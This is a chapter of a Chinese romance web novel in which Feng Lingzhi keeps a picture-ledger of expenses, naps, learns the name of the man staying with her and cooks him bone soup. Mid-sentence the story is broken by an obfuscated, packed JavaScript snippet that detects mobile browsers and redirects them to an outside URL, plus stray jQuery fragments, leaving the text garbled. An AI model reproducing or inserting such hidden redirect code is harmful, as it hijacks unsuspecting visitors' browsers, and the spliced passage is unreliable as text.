冯灵芝把被子铺好，坐在床边摸了摸。
软的，暖的，跟她在布店摸到的时候一样。
她坐了一会儿，又站起来，把被子掀开一角，看了看底下的褥子。褥子是她以前用过的，洗得发白了，可絮的还是棉花，压一压，还挺软和。她又把被子盖上，用手按了按，平整了，才放心。
然后她起身去把竹篓里的东西一样一样拿出来。
笔，纸，还有剩下的几块碎银子。
她把纸摊在床板上，铺平了，用手掌压了压边角。笔握在手里，对着那张空白的纸，她忽然有点不知道从哪儿下笔。
想了想，她低下头，一笔一划地写起来。
第一个字是“鸡”。
她写得很慢，一笔一顿的。那个“鸡”字她认得，可写起来总怕写错。左边的“又”写好了，右边的“鸟”写了两笔，又觉得不对。
……算了，还是画吧——圆脑袋、一个身子、两个翅膀……
画完了，她对着纸上看了看，自己点了点头。还行，能认出来。
她在“鸡”旁边画了两道杠。
画完了，又在旁边写了个“骨”字——这个字她也会，是奶奶教她的，说骨头就是“骨”。
骨头旁边，她也画了一道杠。
接下来是“被”。
她写了个“被”，笔尖顿了顿。
这床被子她自己盖了，算不算？
她想了想，把“被”字划掉了。划了一笔，觉得不够，又划了两笔，划得黑乎乎一团。
算了，不记了。
然后是鸡。
鸡她也吃了。中午那顿饭，她喝了一碗汤，吃了两块肉。虽然是被那人逼着吃的，可到底还是吃了。
那这鸡钱，该记多少？
冯灵芝咬着笔杆，想了半天。
她把“鸡”旁边的那道杠，涂掉了一半。涂得黑乎乎的，跟被子那个黑团挨在一起，看着有点丑。可意思到了就行，她知道那是“只记一半”的意思。
骨头呢？
骨头还没吃，晚上做汤。可照那位的性格，估计做好了，他又要分给自己吃。
冯灵芝想了想，又把骨头旁边那道杠，也涂掉了一半。
涂完了，她对着那张纸看了好一会儿，从头到尾看了一遍。
鸡，一半。骨头，一半。被，划掉了。旁边还有几样零零碎碎的东西，她也一一记上。米多少钱，蜜饯多少钱，陶罐多少钱，布多少钱——布的后面她写了个“衣”，想着是给那人做衣裳用的，得单独记。
记完了，她又看了一遍，自己点了点头。
还行，挺清楚的。
她只会几个字，都是小时候在私塾外头偷学的。那会儿奶奶还在，她每天上山打猪草，回来路过私塾，就趴在窗根底下听一会儿。听里面先生念“人之初，性本善”，听学生们扯着嗓子跟着读。她就用手指在地上划，一笔一划，跟着画。
断断续续学了几年，认得一些，会写的没几个。不会写的就画，画得多了，她自己看得懂。
这就够了。
冯灵芝把纸折好，叠成一个小方块。又从灶台底下翻出个石头——那里有个小洞，是以前老鼠啃的，她一直用石头堵着。这会儿把石头搬开，把小方块塞进去，再把石头堵上。
隐秘，还干净。
忙完这些，她才觉出累来。
昨儿睡得晚，半夜里郎中来了，她听了半宿的话。今儿又起得早，熬粥、喂饭、劈金子。上午还去镇上转了一大圈，背了那么沉一篓东西回来，走了那么远的路。
她打了个哈欠，看了眼窗外。
太阳还高着，离落山还早。
她想了想，和衣躺下。
就眯一会儿。眯一会儿就去山上，看看还能采点什么。秋天了，山上的菌子该落了，可说不定还能找到几株草药。柴胡、白及，能卖一点是一点。
床板硬，可褥子是软的，被子是新的。她蜷了蜷身子，把那床新被子往上拉了拉，盖住肩膀。
被子里有股新棉花的味儿，淡淡的，挺好闻的。
她闭上眼。
脑子里还转着些乱七八糟的。鸡多少钱，骨头多少钱，那人说“给你了就是你的”时候的眼神，还有那句“对你自己也好点啊”。
转着转着，眼皮越来越沉。
……
再睁开眼的时候，她愣了一下。
窗外的光不对。
她躺着没动，看着那扇破窗。阳光从破洞里透进来，落在地上，是一块一块的光斑。那些光斑的颜色变了，不是白晃晃的，是红红的，有点发黄。
她猛地坐起来。
往外瞧——太阳挂在西边，已经微微泛红了。
冯灵芝呆了一呆。
怎么就睡到这个时辰了？
她掀开被子站起来，走到窗边，往外看。
然后她停住了。
院子里，那人正靠在墙上。
背对着她，微微侧着头，像是在看远处。风从西边吹过来，吹起他的碎发，一下一下的。也吹起他的衣角，那件青灰色的外袍，被风吹得往后飘。
他站在那儿，整个人被夕阳的光裹着。
那光是金红色的，从西边斜斜地照过来，照在他身上，照在他脸上，照得他整个人都像是在发光。他靠在墙上，姿态懒懒的，可又说不出的好看。
像幅画一样。
冯灵芝看着，愣了好一会儿。
她以前是不敢下午睡觉的。
每次这个点醒来，看着要落山的太阳，心里头就空落落的。太阳一落，天就黑了。天一黑，这一天就过去了。过去的日子，再也回不来了。
她就会想奶奶。想奶奶在的时候，这个点在干什么。是坐在门口择菜，还是在灶房里烧火。想奶奶走的那天，也是傍晚，太阳也是这样挂在西边，红红的。
想自己一个人，以后怎么办。
想着想着，眼眶就热了。
可今天，她站在窗边，看着院子里那个人，心里头忽然觉得踏实。
那种踏实说不上来。
就像是……像是这样才对。像是这样才正常。
过日子，就该是这样。
有人在院子里站着，有人在窗边看着，太阳慢慢往下落，风吹着衣角。没什么特别的，可就是觉得踏实。
她又在窗边站了一会儿。
然后她推开门，走了出去。
脚步声惊动了他。那人回过头来，看见是她，笑了笑，没说话。
冯灵芝走过去，在他旁边站定。
两人之间隔了不到两步的距离。她没看他，看着远处。他也没说话，顺着她的目光，也看着远处。
风还在吹，吹得她头发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391776|200314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有点乱。她也没理，就那么站着。
太阳又往下落了一点，快挨着山头了。
她忽然开口。
“你叫什么名字？”
那人愣了一下。
然后他笑了。这回笑得比刚才大些，眼睛弯弯的，像是听见了什么有意思的话。
“我还以为，”他说，“直到走你都不会问我呢。”
冯灵芝没说话。
可她的脸有点热。她也不知道自己为什么会突然问这个。就是刚才那一会儿，站在窗边看着他，心里头忽然冒出来的念头——她想知道他叫什么。
不是“少爷”，不是“那人”，是一个名字。
那人收了笑，看着她，认真地说：“我单名一个逍字。”
“逍？”
“嗯。”他点点头，“走月逍。”
走月逍。她心里默念了一遍。逍，逍遥的逍。她在私塾外头听过这个字，先生说，逍遥就是自在、快活的意思。
她抬起头，看着他。
他站在夕阳里，脸上还带着点笑意，眼睛亮亮的。
“逍……”她顿了顿，“公子。”
那人又笑了。这回笑得轻轻的，像是被风吹散的，可眼睛里有什么东西，好像比刚才更亮了。
“叫我逍郎。”他说。
冯灵芝愣住了。
逍郎？
她张了张嘴，那个字在舌尖打了个转，到底没叫出来。
她低下头，转身往灶房走。
“我去做骨头汤。”
她走得快，没回头。
可她知道，他还站在那儿，看着她的背影。
灶房里，她把骨头拿出来，放进锅里，添上水，点火。
火苗一蹿一蹿的，映在她脸上。她把锅盖盖上，坐在灶前的小板凳上，看着火。
锅里的水慢慢热起来，发出咕嘟咕嘟的声音。
她一边看着火，一边在心里又默念了一遍。
逍。
走月逍。
还有那个……逍郎。
她的脸又热了一下。
……
晚饭是骨头汤。
还是她炖的，还是坐在灶房门口一边看着汤一边看着药。汤炖好了，药煎好了，她把东西端进主屋。
那张矮方桌还架着，没收。
那人已经坐在木墩上了，见她进来，眼睛就亮起来。
“好香。”他说。
冯灵芝把碗放在桌上，一碗汤，两张饼，还有一小碟萝卜干。
那人喝了一口汤，长出一口气。
“太好喝了。”他说，“你怎么做什么都好吃？”
冯灵芝低着头，没说话。
他又咬了一口饼，嚼着说：“这个饼也比中午的还香。你是不是偷偷加了什么？”
“没有。”她小声说。
“那就是手艺好。”他笑嘻嘻的，“冯灵芝，你这手艺，真的能去京城开饭馆。”
冯灵芝没忍住，嘴角弯了一下。
他知道他是哄她开心。可那些话一句一句的，落在耳朵里，落在心里，把她心里那个空落落的地方，填得满满的。
她低头喝了一口汤。
她想，这一刻真好。
有人夸她做的饭好吃，有人陪她一起吃饭，有人坐在对面跟她说话。
真好。